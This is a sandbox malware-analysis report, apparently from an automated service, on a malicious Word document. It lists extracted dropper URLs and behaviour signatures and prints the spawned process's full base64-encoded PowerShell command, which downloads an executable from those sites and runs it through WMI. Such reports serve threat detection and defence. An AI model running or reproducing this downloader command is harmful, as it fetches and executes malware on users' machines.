Overview

overview

10

task1

 

10

Analysis

  • max time kernel
    30s
  • resource
    win7v191014
  • submitted
    31-01-2020 19:34

Sharing

Copy URL
Twitter E-mail

General

  • Target

    3257efa9ab0130ba1bf8e78321dd5d168064911ad6c0e22932bc4914b9a6a994.doc

  • Sample

    200131-fqjm4ktv32

  • SHA256

    3257efa9ab0130ba1bf8e78321dd5d168064911ad6c0e22932bc4914b9a6a994

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://muabanmaylaser.com/wp-admin/879/
exe.dropper

http://www.codetisan.com/wp-content/fO4yKcL/
exe.dropper

http://bettyasha.com/phhb/nrs81t/
exe.dropper

http://payer.orientsportshouse.com/rvso/rcdbl/
exe.dropper

http://support.deltainfocom.com/gjqs/9pz/

Signatures

  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3257efa9ab0130ba1bf8e78321dd5d168064911ad6c0e22932bc4914b9a6a994.doc"
    1⤵
    • Modifies registry class
    • Drops file in System32 directory
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1992
  • C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exe
    PoWERsheLL -e JABYAG4AbQB5AHIAbQBvAHMAZwA9ACcASgBsAHQAegB4AHgAegB1AGYAaAAnADsAJABFAGYAYwBxAHMAbgBvAHUAIAA9ACAAJwA5ADYAJwA7ACQATAB6AGMAbQBvAHAAbABzAD0AJwBSAHoAYwBiAGYAYgB2AHoAaQBsACcAOwAkAE4AcgBvAG4AcABhAHgAbgBrAHIAbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBmAGMAcQBzAG4AbwB1ACsAJwAuAGUAeABlACcAOwAkAFUAaQByAHUAcABwAGEAeABhAHYAYQBrAD0AJwBKAGMAZQBxAGgAcwBhAGMAYwB6AHYAdwAnADsAJABGAGwAawBkAHQAaQBvAGUAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAGIAYwBMAGkAZQBOAFQAOwAkAFgAcgBzAHoAagBzAHgAdwBkAGkAbQA9ACcAaAB0AHQAcAA6AC8ALwBtAHUAYQBiAGEAbgBtAGEAeQBsAGEAcwBlAHIALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADgANwA5AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AYwBvAGQAZQB0AGkAcwBhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBmAE8ANAB5AEsAYwBMAC8AKgBoAHQAdABwADoALwAvAGIAZQB0AHQAeQBhAHMAaABhAC4AYwBvAG0ALwBwAGgAaABiAC8AbgByAHMAOAAxAHQALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkAZQByAC4AbwByAGkAZQBuAHQAcwBwAG8AcgB0AHMAaABvAHUAcwBlAC4AYwBvAG0ALwByAHYAcwBvAC8AcgBjAGQAYgBsAC8AKgBoAHQAdABwADoALwAvAHMAdQBwAHAAbwByAHQALgBkAGUAbAB0AGEAaQBuAGYAbwBjAG8AbQAuAGMAbwBtAC8AZwBqAHEAcwAvADkAcAB6AC8AJwAuACIAcwBQAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAGkAdABiAG0AcQBmAHUAdgB0AGEAdgA9ACcASQB2AHkAcwBvAG8AcwBzAHUAcgAnADsAZgBvAHIAZQBhAGMAaAAoACQAVwBpAHAAegByAHIAYwBwAGYAZgBkAGcAYwAgAGkAbgAgACQAWAByAHMAegBqAHMAeAB3AGQAaQBtACkAewB0AHIAeQB7ACQARgBsAGsAZAB0AGkAbwBlAC4AIgBkAE8AVwBOAGwAbwBBAEQAYABGAGAASQBsAGUAIgAoACQAVwBpAHAAegByAHIAYwBwAGYAZgBkAGcAYwAsACAAJABOAHIAbwBuAHAAYQB4AG4AawByAG8AKQA7ACQAVQByAGYAcwB6AHQAdwBoAG0AcgBiAHoAeQA9ACcATwBoAGsAcABsAGEAbgB1AGcAYQAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAE4AcgBvAG4AcABhAHgAbgBrAHIAbwApAC4AIgBMAEUATgBnAGAAVABIACIAIAAtAGcAZQAgADIAMgA0ADkAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBSAEUAYABBAGAAVABFACIAKAAkAE4AcgBvAG4AcABhAHgAbgBrAHIAbwApADsAJABBAHIAbwBiAHgAbwB3AG8AbwA9ACcASAB6AGsAegBxAHUAegB0AHIAYwBkAGwAJwA7AGIAcgBlAGEAawA7ACQAUwB3AGcAeAB6AHIAdwBsAD0AJwBWAGQAegBjAGoAYQB4AGEAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAHAAbwBkAG0AYgBqAHEAYwA9ACcARQB6AGYAcwBwAHIAcABrAHkAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    PID:1096

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1992-0-0x0000000005500000-0x0000000005600000-memory.dmp

    Filesize

    1024KB

    Download

  • memory/1992-2-0x00000000086D0000-0x00000000086D4000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1992-3-0x0000000007F60000-0x0000000008160000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1992-4-0x0000000007F60000-0x0000000008160000-memory.dmp

    Filesize

    2.0MB

    Download

  • memory/1992-5-0x000000000AB60000-0x000000000AB64000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1992-6-0x000000000BBE0000-0x000000000BBE4000-memory.dmp

    Filesize

    16KB

    Download